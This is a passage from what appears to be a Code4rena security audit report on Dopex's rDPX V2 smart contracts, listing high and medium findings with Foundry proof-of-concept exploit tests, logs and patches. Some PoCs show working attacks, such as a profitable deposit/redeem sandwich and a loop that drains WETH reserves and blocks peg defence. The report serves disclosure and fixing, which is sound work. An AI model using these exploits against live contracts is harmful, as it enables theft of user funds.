        uint256 shares = vaultLp.deposit(1e18, address(this));
        vaultLp.redeem(shares, address(this), address(this));
        uint256 balanceAfter = weth.balanceOf(address(this));
        console.log("balance after deposit and redeem:");
        console.log(balanceAfter);
        console.log("immediate profit :");
        console.log(balanceAfter - balanceBefore);
    }

Run the test :

forge test --match-contract Unit --match-test testSandwichProvideFunding -vvv

Log Output :

Logs:
  balance of eth before deposit and redeem:
  18665279470073000000000

  balance after deposit and redeem:
  18665299797412715619861

  immediate profit :
  20327339715619861

Recommended Mitigation Steps

Move perpetualAtlanticVault.updateFunding before previewDeposit is calculated.

  function deposit(
    uint256 assets,
    address receiver
  ) public virtual returns (uint256 shares) {
+    perpetualAtlanticVault.updateFunding();
    // Check for rounding error since we round down in previewDeposit.
    require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");

-    perpetualAtlanticVault.updateFunding();

    // Need to transfer before minting or ERC777s could reenter.
    collateral.transferFrom(msg.sender, address(this), assets);

    _mint(receiver, shares);

    _totalCollateral += assets;

    emit Deposit(msg.sender, receiver, assets, shares);
  }

witherblock (Dopex) disagreed with severity and commented:

Please bump this to high

Alex the Entreprenerd (Judge) increased severity to High

[H-06] Bond operations will always revert at certain time when putOptionsRequired is true

Submitted by said

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L481-L483

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L286

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L539-L551

when putOptionsRequired is true, there is period of time where bond operations will always revert when try to purchase options from perp atlantic vault.

Proof of Concept

When bond is called and putOptionsRequired is true, it will call _purchaseOptions providing the calculated rdpxRequired.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L920-L922

  function bond(
    uint256 _amount,
    uint256 rdpxBondId,
    address _to
  ) public returns (uint256 receiptTokenAmount) {
    _whenNotPaused();
    // Validate amount
    _validate(_amount > 0, 4);

    // Compute the bond cost
    (uint256 rdpxRequired, uint256 wethRequired) = calculateBondCost(
      _amount,
      rdpxBondId
    );

    IERC20WithBurn(weth).safeTransferFrom(
      msg.sender,
      address(this),
      wethRequired
    );

    // update weth reserve
    reserveAsset[reservesIndex["WETH"]].tokenBalance += wethRequired;

    // purchase options
    uint256 premium;
    if (putOptionsRequired) {
>>>   premium = _purchaseOptions(rdpxRequired);
    }

    _transfer(rdpxRequired, wethRequired - premium, _amount, rdpxBondId);

    // Stake the ETH in the ReceiptToken contract
    receiptTokenAmount = _stake(_to, _amount);

    // reLP
    if (isReLPActive) IReLP(addresses.reLPContract).reLP(_amount);

    emit LogBond(rdpxRequired, wethRequired, receiptTokenAmount);
  }

Inside _purchaseOptions, it will call PerpetualAtlanticVault.purchase providing the amount and address(this) as receiver :

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L471-L487

  function _purchaseOptions(
    uint256 _amount
  ) internal returns (uint256 premium) {
    /**
     * Purchase options and store ERC721 option id
     * Note that the amount of options purchased is the amount of rDPX received
     * from the user to sufficiently collateralize the underlying DpxEth stored in the bond
     **/
    uint256 optionId;

>>> (premium, optionId) = IPerpetualAtlanticVault(
      addresses.perpetualAtlanticVault
    ).purchase(_amount, address(this));

    optionsOwned[optionId] = true;
    reserveAsset[reservesIndex["WETH"]].tokenBalance -= premium;
  }

Then inside purchase, it will calculate premium using calculatePremium function, providing strike, amount, timeToExpiry.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L286

  function purchase(
    uint256 amount,
    address to
  )
    external
    nonReentrant
    onlyRole(RDPXV2CORE_ROLE)
    returns (uint256 premium, uint256 tokenId)
  {
    _whenNotPaused();
    _validate(amount > 0, 2);

    updateFunding();

    uint256 currentPrice = getUnderlyingPrice(); // price of underlying wrt collateralToken
    uint256 strike = roundUp(currentPrice - (currentPrice / 4)); // 25% below the current price
    IPerpetualAtlanticVaultLP perpetualAtlanticVaultLp = IPerpetualAtlanticVaultLP(
        addresses.perpetualAtlanticVaultLP
      );

    // Check if vault has enough collateral to write the options
    uint256 requiredCollateral = (amount * strike) / 1e8;

    _validate(
      requiredCollateral <= perpetualAtlanticVaultLp.totalAvailableCollateral(),
      3
    );

    uint256 timeToExpiry = nextFundingPaymentTimestamp() - block.timestamp;

    // Get total premium for all options being purchased
>>> premium = calculatePremium(strike, amount, timeToExpiry, 0);

    // ... rest of operations
  }

Inside this calculatePremium, it will get price from option pricing :

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L539-L551

  function calculatePremium(
    uint256 _strike,
    uint256 _amount,
    uint256 timeToExpiry,
    uint256 _price
  ) public view returns (uint256 premium) {
    premium = ((IOptionPricing(addresses.optionPricing).getOptionPrice(
      _strike,
      _price > 0 ? _price : getUnderlyingPrice(),
      getVolatility(_strike),
      timeToExpiry
    ) * _amount) / 1e8);
  }

The provided OptionPricingSimple.getOptionPrice will use Black-Scholes model to calculate the price :

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/BlackScholes.sol#L33-L89

  function calculate(
    uint8 optionType,
    uint256 price,
    uint256 strike,
    uint256 timeToExpiry,
    uint256 riskFreeRate,
    uint256 volatility
  ) internal pure returns (uint256) {
    bytes16 S = ABDKMathQuad.fromUInt(price);
    bytes16 X = ABDKMathQuad.fromUInt(strike);
    bytes16 T = ABDKMathQuad.div(
      ABDKMathQuad.fromUInt(timeToExpiry),
      ABDKMathQuad.fromUInt(36500) // 365 * 10 ^ DAYS_PRECISION
    );
    bytes16 r = ABDKMathQuad.div(
      ABDKMathQuad.fromUInt(riskFreeRate),
      ABDKMathQuad.fromUInt(10000)
    );
    bytes16 v = ABDKMathQuad.div(
      ABDKMathQuad.fromUInt(volatility),
      ABDKMathQuad.fromUInt(100)
    );
    bytes16 d1 = ABDKMathQuad.div(
      ABDKMathQuad.add(
        ABDKMathQuad.ln(ABDKMathQuad.div(S, X)),
        ABDKMathQuad.mul(
          ABDKMathQuad.add(
            r,
            ABDKMathQuad.mul(v, ABDKMathQuad.div(v, ABDKMathQuad.fromUInt(2)))
          ),
          T
        )
      ),
      ABDKMathQuad.mul(v, ABDKMathQuad.sqrt(T))
    );
    bytes16 d2 = ABDKMathQuad.sub(
      d1,
      ABDKMathQuad.mul(v, ABDKMathQuad.sqrt(T))
    );
    if (optionType == OPTION_TYPE_CALL) {
      return
        ABDKMathQuad.toUInt(
          ABDKMathQuad.mul(
            _calculateCallTimeDecay(S, d1, X, r, T, d2),
            ABDKMathQuad.fromUInt(DIVISOR)
          )
        );
    } else if (optionType == OPTION_TYPE_PUT) {
      return
        ABDKMathQuad.toUInt(
          ABDKMathQuad.mul(
            _calculatePutTimeDecay(X, r, T, d2, S, d1),
            ABDKMathQuad.fromUInt(DIVISOR)
          )
        );
    } else return 0;
  }

The problem lies inside calculatePremium due to not properly check if current time less than 864 seconds (around 14 minutes). because getOptionPrice will use time expiry in days multiply by 100.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/libraries/OptionPricingSimple.sol#L72

uint256 timeToExpiry = (expiry * 100) / 86400;

If nextFundingPaymentTimestamp() - block.timestamp is less than 864 seconds, it will cause timeToExpiry inside option pricing is 0 and the call will always revert. This will cause an unexpected revert period around 14 minutes every funding epoch (in this case every week).

Foundry PoC :

Try to simulate calculatePremium when nextFundingPaymentTimestamp() - block.timestamp is less than 864 seconds.

Add this test to Unit contract inside /tests/rdpxV2-core/Unit.t.sol, also add import "forge-std/console.sol"; and import {OptionPricingSimple} from "contracts/libraries/OptionPricingSimple.sol"; in the contract :

    function testOptionPricingRevert() public {
        OptionPricingSimple optionPricingSimple;
        optionPricingSimple = new OptionPricingSimple(100, 5e6);

        (uint256 rdpxRequired, uint256 wethRequired) = rdpxV2Core
            .calculateBondCost(1 * 1e18, 0);

        uint256 currentPrice = vault.getUnderlyingPrice(); // price of underlying wrt collateralToken
        uint256 strike = vault.roundUp(currentPrice - (currentPrice / 4)); // 25% below the current price
        // around 14 minutes before next funding payment
        vm.warp(block.timestamp + 7 days - 863 seconds);
        uint256 timeToExpiry = vault.nextFundingPaymentTimestamp() -
            block.timestamp;
        console.log("What is the current price");
        console.log(currentPrice);
        console.log("What is the strike");
        console.log(strike);
        console.log("What is time to expiry");
        console.log(timeToExpiry);
        uint256 price = vault.getUnderlyingPrice();
        // will revert
        vm.expectRevert();
        optionPricingSimple.getOptionPrice(strike, price, 100, timeToExpiry);
    }

Recommended Mitigation Steps

Set minimum timeToExpiry inside calculatePremium :

  function calculatePremium(
    uint256 _strike,
    uint256 _amount,
    uint256 timeToExpiry,
    uint256 _price
  ) public view returns (uint256 premium) {
    premium = ((IOptionPricing(addresses.optionPricing).getOptionPrice(
      _strike,
      _price > 0 ? _price : getUnderlyingPrice(),
      getVolatility(_strike),
-      timeToExpiry
+      timeToExpiry < 864 ? 864 : timeToExpiry
    ) * _amount) / 1e8);
  }

psytama (Dopex) confirmed and commented:

Modify time to expiry with a check for less than 864 seconds and make it more robust.

Alex the Entreprenerd (Judge) commented:

The DOS is not conditional on an external requirement because it consistently happens, I’ll ask judges, but am maintaining High Severity at this time.

[H-07] Incorrect precision assumed from RdpxPriceOracle creates multiple issues related to value inflation/deflation

Submitted by LokiThe5th, also found by minhtrng, QiuhaoLi, Udsen (1, 2), 0xvj (1, 2), josephdara, kutugu, Evo, 0xTiwa, crunch, circlelooper, 0xPsuedoPandit, Jiamin, gjaldon (1, 2, 3, 4), Juntao, umarkhatab_465, hals (1, 2), eeshenggoh, 0xnev, T1MOH, and niki

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L372

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/amo/UniV2LiquidityAmo.sol#L381

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L539

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L1160

The RdpxEthPriceOracle, available in the audit repo here, provides the RdpxV2Core, the UniV2LiquidityAmo and the PerpetualAtlanticVault contracts the necessary values for rdpx related price calculations.

The issue is that these contracts expect the returned values to be in 1e8 precision (as stated in the natspec here, here and here). But the returned precision is actually 1e18.

This difference creates multiple issues throughout the below contracts:

Proof of Concept

The RdpxEthPriceOracle.sol file can be found here

It exposes the following functions used in the audit:

• getLpPriceInEth()
• getRdpxPriceInEth()

These two functions provide the current price denominated in ETH, with a precision in 1e18, as confirmed by their respective natspec comments:

    /// @dev Returns the price of LP in ETH in 1e18 decimals
    function getLpPriceInEth() external view override returns (uint) {
    ...

    /// @notice Returns the price of rDPX in ETH
    /// @return price price of rDPX in ETH in 1e18 decimals
    function getRdpxPriceInEth() external view override returns (uint price) {

But, in the contracts from the audit repo, the business logic (and even the natspec) assumes the returned precision will be 1e8. See below:

In the RdpxV2Core contract the assumption that the price returned from the oracle is clearly noted in the natspec of the getRdpxPrice() function:

  /**
   * @notice Returns the price of rDPX against ETH
   * @dev    Price is in 1e8 Precision
   * @return rdpxPriceInEth rDPX price in ETH
   **/
  function getRdpxPrice() public view returns (uint256) {
    return
      IRdpxEthOracle(pricingOracleAddresses.rdpxPriceOracle)
        .getRdpxPriceInEth();
  }

In UniV2LiquidityAmo the assumption is noted here:

  /**
   * @notice Returns the price of a rDPX/ETH Lp token against the alpha token
   * @dev    Price is in 1e8 Precision
   * @return uint256 LP price
   **/
  function getLpPrice() public view returns (uint256) {

And it has business logic implication here:

  function getLpTokenBalanceInWeth() external view returns (uint256) {
    return (lpTokenBalance * getLpPrice()) / 1e8;
  }

In PerpetualAtlanticVault it is noted here:

  /**
   * @notice Returns the price of the underlying in ETH in 1e8 precision
   * @return uint256 the current underlying price
   **/
  function getUnderlyingPrice() external view returns (uint256);

And the business logic implications in this contract are primarily found in the calculatePremium function, where the premium is divided by 1e8:

  function calculatePremium(
    uint256 _strike,
    uint256 _amount,
    uint256 timeToExpiry,
    uint256 _price
  ) public view returns (uint256 premium) {
    premium = ((IOptionPricing(addresses.optionPricing).getOptionPrice(
      _strike,
      _price > 0 ? _price : getUnderlyingPrice(),
      getVolatility(_strike),
      timeToExpiry
    ) * _amount) / 1e8);
  }

From the audit files it’s clear that the assumption was that the returned price would be in 1e8, but this is Dopex’s own RdpxPriceOracle, so was likely a simple oversight which slipped through testing as a MockRdpxEthPriceOracle was implemented to simplify testing, which mocked the values from the oracle, but only to a 1e8 precision.

Recommended Mitigation Steps

For price feeds where WETH will be token B, it is convention (although not a standard, as far as the reviewer is aware), that the precision returned will be 1e18. See here.

As the sponsor indicated that the team might move to Chainlink oracles, it is suggested to modify the RdpxV2Core, PerpetualAtlanticVault, UniV2Liquidity and the ReLp contracts to work with the returned 1e18 precision, assuming that the keep the token pair as rdpx/WETH.

psytama (Dopex) confirmed and commented:

The issue is in the oracle contract which returns 1e18.

Alex the Entreprenerd (Judge) commented:

Seems like the Warden grouped a bunch of consequences down to the root cause of the oracle precision.

I’ll need to determine how to group / ungroup findings as there seem to be multple impacts but a single root cause.

[H-08] The peg stability module can be compromised by forcing lowerDepeg to revert

Submitted by 0xrafaelnicolau, also found by HHK, koo, _eperezok, ubermensch, nobody2018, bart1e, peakbolt, 0xnev, ElCid, HChang26, Vagner, max10afternoon, volodya, yashar, degensec, Krace, minhtrng, KrisApostolov, dimulski, 0xc0ffEE, pontifex, Toshii, 0xkazim, dethera, 0xMosh, halden, mussucal, ether_sky, wintermute, bin2chen, QiuhaoLi, 0xvj, Aymen0909, glcanvas, RED-LOTUS-REACH, gizzy, MiniGlome, Talfao, carrotsmuggler, ladboy233, Baki, hals, chainsnake, asui, Viktor_Cortess, Inspex, qbs, lanrebayode77, zaevlad, tapir, ABAIKUNANBAEV, dirk_y, gumgumzum, zzebra83, ravikiranweb3 (1, 2), rvierdiiev, Nyx, kodyvim, Jorgect, Kow, deadrxsezzz, 0xWaitress, 0x111, atrixs6, said, LFGSecurity, 0xCiphky, grearlake, Yanchuan, and chaduke

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L964

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110

In a scenario where extreme market conditions necessitate the execution of the lowerDepeg function to restore the dpxETH/ETH peg, an attacker can exploit the flawed interaction between the addToDelegate, withdraw, and sync functions to force a revert on the admin’s attempt to restore the peg. As a result, the protocol will not be able to effectively defend the peg, leading to potential disruptions in the protocol’s peg stability module.

Proof of Concept

If 1 dpxETH < 1 ETH, the rpdxV2Core contract admin will call the lowerDepeg function to restore the peg. The backing reserves are used to buy and burn dpxETH from the curve pool to bring back the peg to 1 ETH. An attacker can execute a transaction to manipulate the WETH reserves and cause the admin transaction to revert.

1. The attacker initiates the exploit by calling the addToDelegate function, and depositing WETH into rpdxV2Core contract. By doing so, the attacker effectively updates the totalWethDelegated state variable, increasing it by the deposited amount.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L964

2. The attacker subsequently calls the withdraw function, which does not update the totalWethDelegated state variable. Consequently, the totalWethDelegated variable retains the inflated value of WETH delegated, even though the WETH has neither been delegated nor it remains available, since it was withdrawn.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990

3. Finally, the attacker calls the sync function which inaccurately updates the WETH reserves by subtracting the inflated totalWethDelegated value. This manipulation artificially reduces the WETH reserves in the contract to a really small value or even zero.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002

4. The rpdxV2Core admin calls the lowerDepeg function to restore the dpxETH/ETH peg, which ultimately will revert due to an underflow error.

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110

Note that the attacker can loop through the process outlined in steps 1. and 2., thereby increasing the totalWethDelegated through a small input amount, before executing the sync function. As a result, this attack becomes financially inexpensive to execute.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {Setup} from "./Setup.t.sol";
import "../../lib/forge-std/src/console.sol";
import "../../lib/forge-std/src/StdError.sol";

contract Exploit is Setup {
    function testExploitWETHReserves() external {
        // note: setup
        address user1 = address(0x1001);
        address user2 = address(0x1002);
        weth.mint(address(user1), 10 ether);
        weth.mint(address(user2), 10 ether);
        rdpx.mint(address(user1), 1000000 ether);
        // user1 bonds
        vm.startPrank(user1);
        rdpx.approve(address(rdpxV2Core), type(uint256).max);
        weth.approve(address(rdpxV2Core), type(uint256).max);
        rdpxV2Core.bond(10 ether, 0, address(this));
        vm.stopPrank();

        // note: weth reserves manipulation 
        // gets the reserve of WETH in the core contract
        vm.startPrank(user2);
        (,uint256 wethReserveBefore,) = rdpxV2Core.getReserveTokenInfo("WETH");
        console.log("WETH reserve before: ", wethReserveBefore);
        // approve rpdxV2Core to spend WETH
        weth.approve(address(rdpxV2Core), type(uint256).max);
        // delegate WETH, and assert it was delegated
        uint256 delegateId = rdpxV2Core.addToDelegate(wethReserveBefore, 1e8);
        assertTrue(rdpxV2Core.totalWethDelegated() == wethReserveBefore);
        // withdraw WETH, assert WETH was withdrawn but it still says WETH is delegated
        rdpxV2Core.withdraw(delegateId);
        assertTrue(rdpxV2Core.totalWethDelegated() == wethReserveBefore);
        // assert that the user2 has the same balance he had before
        assertTrue(weth.balanceOf(user2) == 10 ether);
        // call sync and make WETH reserves -= WETH delegated
        rdpxV2Core.sync();
        // check the amount of WETH in reserves after and assert it is smaller than before
        (,uint256 wethReserveAfter,) = rdpxV2Core.getReserveTokenInfo("WETH");
        assertTrue(wethReserveBefore - rdpxV2Core.totalWethDelegated() == wethReserveAfter);
        console.log("WETH reserve after:  ", wethReserveAfter);
        vm.stopPrank();

        // note: admin tries to defend the peg.
        // update the dpxETH price to simulate 1 dpxETH < 1 ETH
        dpxEthPriceOracle.updateDpxEthPrice(98137847);
        // expect the transaction to revert with an underflow.
        vm.expectRevert(stdError.arithmeticError);
        rdpxV2Core.lowerDepeg(0, 10 ether, 0, 0);
}

Tools Used

Foundry

Recommended Mitigation Steps

Update the totalWethDelegated in the withdraw function.

    function withdraw(uint256 delegateId) external returns (uint256 amountWithdrawn) {
        _whenNotPaused();
        _validate(delegateId < delegates.length, 14);
        Delegate storage delegate = delegates[delegateId];
        _validate(delegate.owner == msg.sender, 9);

        amountWithdrawn = delegate.amount - delegate.activeCollateral;
        _validate(amountWithdrawn > 0, 15);
        delegate.amount = delegate.activeCollateral;
+       totalWethDelegated -= amountWithdrawn;

        IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

        emit LogDelegateWithdraw(delegateId, amountWithdrawn);
    }

Alex the Entreprenerd (Judge) commented:

Best + explains why it’s high.

psytama (Dopex) confirmed via duplicate issue 2186

[H-09] ReLPContract wrongfully assumes protocol owns all of the liquidity in the UniswapV2 pool

Submitted by deadrxsezzz, also found by kutugu, said, QiuhaoLi, 0xMango, pep7siup, and 0xDING99YA

Possible full DoS for ReLPContract

Proof of Concept

When taking out a bond in RdpxV2Core if isReLPActive == true, a call to ReLPContract#reLP is made which ‘re-LPs the pool` (takes out an amount of RDPX, while still perfectly maintaining the token ratio of the pool).

    (uint256 reserveA, uint256 reserveB) = UniswapV2Library.getReserves(  // @audit - here it gets the reserves of the pool and assumes them as owned by the protocol
      addresses.ammFactory,
      tokenASorted,
      tokenBSorted
    );

    TokenAInfo memory tokenAInfo = TokenAInfo(0, 0, 0);

    // get tokenA reserves
    tokenAInfo.tokenAReserve = IRdpxReserve(addresses.tokenAReserve)
      .rdpxReserve(); // rdpx reserves

    // get rdpx price
    tokenAInfo.tokenAPrice = IRdpxEthOracle(addresses.rdpxOracle)
      .getRdpxPriceInEth();

    tokenAInfo.tokenALpReserve = addresses.tokenA == tokenASorted
      ? reserveA
      : reserveB;

    uint256 baseReLpRatio = (reLPFactor *
      Math.sqrt(tokenAInfo.tokenAReserve) *
      1e2) / (Math.sqrt(1e18)); // 1e6 precision

    uint256 tokenAToRemove = ((((_amount * 4) * 1e18) /
      tokenAInfo.tokenAReserve) *
      tokenAInfo.tokenALpReserve *   // @audit - here the total RDPX reserve in the pool is assumed to be owned by the protocol
      baseReLpRatio) / (1e18 * DEFAULT_PRECISION * 1e2);

    uint256 totalLpSupply = IUniswapV2Pair(addresses.pair).totalSupply();

    uint256 lpToRemove = (tokenAToRemove * totalLpSupply) /
      tokenAInfo.tokenALpReserve;

The problem is that the protocol wrongfully assumes that it owns all of the liquidity within the pool. This leads to faulty calculations. In best case scenario wrong amounts are passed. However, when the protocol doesn’t own the majority of the pool LP balance, this could lead to full DoS, as lpToRemove will be calculated to be more than the LP balance of UniV2LiquidityAmo and the transaction will revert.

This can all be easily proven by a simple PoC (add the test to the given Periphery.t.sol) Note: there’s an added console.log in ReLPContract#reLP, just before the transferFrom in order to better showcase the issue

    uint256 lpToRemove = (tokenAToRemove * totalLpSupply) /
      tokenAInfo.tokenALpReserve;

    console.log("lpToRemove value:    ", lpToRemove);  // @audit - added console.log to prove the underflow
    // transfer LP tokens from the AMO
    IERC20WithBurn(addresses.pair).transferFrom(
      addresses.amo,
      address(this),
      lpToRemove
    );

  function testReLpContract() public {
    testV2Amo();

    // set address in reLP contract and grant role
    reLpContract.setAddresses(
      address(rdpx),
      address(weth),
      address(pair),
      address(rdpxV2Core),
      address(rdpxReserveContract),
      address(uniV2LiquidityAMO),
      address(rdpxPriceOracle),
      address(factory),
      address(router)
    );
    reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));

    reLpContract.setreLpFactor(9e4);

    // add liquidity
    uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
    uniV2LiquidityAMO.approveContractToSpend(
      address(pair),
      address(reLpContract),
      type(uint256).max
    );

    rdpxV2Core.setIsreLP(true);


    (uint256 reserveA, uint256 reserveB, ) = pair.getReserves();
    weth.mint(address(2), reserveB * 10);
    rdpx.mint(address(2), reserveA * 10);
    vm.startPrank(address(2));
    weth.approve(address(router), reserveB * 10);
    rdpx.approve(address(router), reserveA * 10);
    router.addLiquidity(address(rdpx), address(weth), reserveA * 10, reserveB * 10, 0, 0, address(2), 12731316317831123);
    vm.stopPrank();
    
    console.log("UniV2Amo balance isn't enough and will underflow");
    uint pairBalance = pair.balanceOf(address(uniV2LiquidityAMO));
    console.log("UniV2Amo LP balance: ", pairBalance);

    vm.expectRevert("ds-math-sub-underflow");
    rdpxV2Core.bond(1 * 1e18, 0, address(this));
}

And the logs:

[PASS] testReLpContract() (gas: 3946961)
Logs:
  UniV2Amo balance isn't enough and will underflow
  UniV2Amo LP balance:  2235173550604750304
  lpToRemove value:     17832559500122488916

Recommended Mitigation Steps

Change the logic and base all calculations on the pair balance of UniV2LiquidityAmo

psytama (Dopex) confirmed and commented:

The re-LP formula used is incorrect.

Alex the Entreprenerd (Judge) commented:

The incorrect assumption does indeed cause reverts.

Medium Risk Findings (17)

[M-01] Bonding WETH discounts can drain WETH reserves of RdpxV2Core contract to zero

Submitted by Toshii

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L570

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1175-L1177

Depending on the reserves of rDPX, bonding discounts are given both on the rDPX and WETH collateral requirements for minting dpxETH. The bonding discounts (for both rDPX and WETH portions) are provided as rDPX which is taken from the treasury. The issue with this is that the RdpxV2Core contract only functions properly when the full amount of WETH is provided (75% of the dpxETH value), because as per docs, 50% of the value of the dpxETH you are minting is required in WETH to add liquidity to the dpxETH-WETH pool.

This discount in WETH collateral requirements can be as high as 2/3 * 75% = 50% of the entire value of dpxETH. The logic in the RdpxV2Core essentially then steals this extra WETH from the current balance of the contract, which can eventually drain this entire contract of WETH, leaving only rDPX tokens, which is highly problematic in terms of economic security. This will also DOS all future attempts to mint dpxETH once the WETH reserves are depleted.

Proof of Concept

When a user bonds using rDPX directly they first call the bond function of the RdpxV2Core contract:

function bond(
  uint256 _amount,
  uint256 rdpxBondId,
  address _to
) public returns (uint256 receiptTokenAmount) {
  _whenNotPaused();
  // Validate amount
  _validate(_amount > 0, 4);

  // Compute the bond cost
  (uint256 rdpxRequired, uint256 wethRequired) = calculateBondCost(
    _amount,
    rdpxBondId
  );
  ...
  // purchase options
  uint256 premium;
  if (putOptionsRequired) {
    premium = _purchaseOptions(rdpxRequired);
  }

  _transfer(rdpxRequired, wethRequired - premium, _amount, rdpxBondId);
  
  // Stake the ETH in the ReceiptToken contract
  receiptTokenAmount = _stake(_to, _amount);
  ...
}

The amount of WETH required, wethRequired, is calculated by the calculateBondCost function with the main logic being the following (note: the cost of the premium for the purchased amount of rDPX PUT option coverage is also included in this amount, but i am not showing that code here):

wethRequired =
  ((ETH_RATIO_PERCENTAGE - (bondDiscount / 2)) * _amount) /
  (DEFAULT_PRECISION * 1e2);

As can be seen, there is a potential bondDiscount, which can be at most 100e8. Given that ETHRATIOPERCENTAGE is set to 75e8, the minimum amount of wethRequired would be 25% of the _amount of dpxETH being minted. The remainder, which in this case would be 50% of the value of the dpxETH, will be provided by the reserve. Note: if this math didn’t make sense, recall that 75% of the value of the minted dpxETH needs to be provided in ETH, and this discount can be as much as 2/3 of the ETH amount, meaning the minimum ETH requirement of the user will be 75% * 2/3 = 25%.

The remainder of the ETH portion (discountReceivedInWeth) is then paid for by the reserve in the _transfer function, which is defined as follows:

function _transfer(
  uint256 _rdpxAmount,
  uint256 _wethAmount,
  uint256 _bondAmount,
  uint256 _bondId
) internal {
  if (_bondId != 0) {
    ...
  } else {
    ...
    // calculate extra rdpx to withdraw to compensate for discount
    uint256 rdpxAmountInWeth = (_rdpxAmount * getRdpxPrice()) / 1e8;
    uint256 discountReceivedInWeth = _bondAmount -
      _wethAmount -
      rdpxAmountInWeth;
    uint256 extraRdpxToWithdraw = (discountReceivedInWeth * 1e8) /
      getRdpxPrice();

    // withdraw the rdpx
    IRdpxReserve(addresses.rdpxReserve).withdraw(
      _rdpxAmount + extraRdpxToWithdraw
    );

    reserveAsset[reservesIndex["RDPX"]].tokenBalance +=
      _rdpxAmount +
      extraRdpxToWithdraw;
  }
}

As can be seen, the discountReceivedInWeth, which is an amount of ETH, will then be converted into an equivalent amount of rDPX (extraRdpxToWithdraw), and then this amount of rDPX is withdrawn to serve as the collateral for the minted rDPX.

The issue with this is the following call to _stake within the flow of the bond function, which has the following line of code:

reserveAsset[reservesIndex["WETH"]].tokenBalance -= _amount / 2;

Essentially, irrespective of the actual amount of ETH which has been deposited by the user, for the specified _amount of dpxETH to mint, _amount / 2 of ETH will be taken from the token reserves of the RdpxV2Core contract. This means that as more and more ETH discounts are given, this ETH amount will be drained to zero. At this point, future calls to bond will revert.

Recommended Mitigation Steps

The discount on the WETH portion during minting should be provided in WETH rather than in an equivalent amount of rDPX.

psytama (Dopex) confirmed

[M-02] The vault allows “free” swaps from WETH to RDPX

Submitted by LokiThe5th, also found by Evo, 0xnev, and volodya

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L145-L175

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L118-L135

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L227

The PerpetualAtlanticVaultLP allows users to deposit() WETH into the vault and receive shares in return. If a user calls redeem on the vault, they receive a proportional amount of WETH and rdpx in return for burning their shares.

This can be used as a way to swap from WETH to rdpx without needing to pay swap fees to the V2 Permissioned AMM that is being introduced in V2. Swapping in this way may allow users to receive rdpx at a discount.

PerpetualAtlanticVaultLP mints shares to a depositor by taking into account the current price of rdpx and using it to calculate the total underlying asset value. The root cause of the issue is that when calculating the amount of rdpx to return on redeem, the calculation does not use the current price, but uses: shares.mulDivDown(_rdpxCollateral, supply).

The practical effect being that of a swap of in proportions determined by the initial deposit price. This means that the vault itself may experience arbitrage, as the amount of rdpx returned is determined by it’s proportion in the vault at that moment, not by it’s current market value.

This has been evaluated to medium as the vault’s depositors lose this value and the AMM loses out on swap fees.

Proof of Concept

Assumptions:

• there is rdpx in the PerpetualAtlanticVaultLP (i.e. puts have been settled)

The PoC should be copied into the perp-vault/Integration.t.sol file and then can be run with forge test --match-test testPoCMedium1 -vvv

The line where the PoC starts is clearly marked. The PoC shows how the amount of rdpx returned from deposit and the immediate redeem is not affected by changes to the price once a deposit has been made, but is affected by the amount of underlying rdpx.

This means that doing this type of “swap” may present arbitrage opportunities at the expense of depositors.

  function testPoCMedium1() external {
    // Setup starts here ----------------------------->
    setApprovals(address(1));
    setApprovals(address(2));
    setApprovals(address(3));

    mintWeth(5 ether, address(1));
    mintWeth(5 ether, address(2));
    mintWeth(25 ether, address(3));
    mintWeth(1 ether, address(4));

    /// The users deposit
    deposit(5 ether, address(1));
    deposit(5 ether, address(2));
    deposit(25 ether, address(3));

    // premium = 100 * 0.05 weth = 5 weth
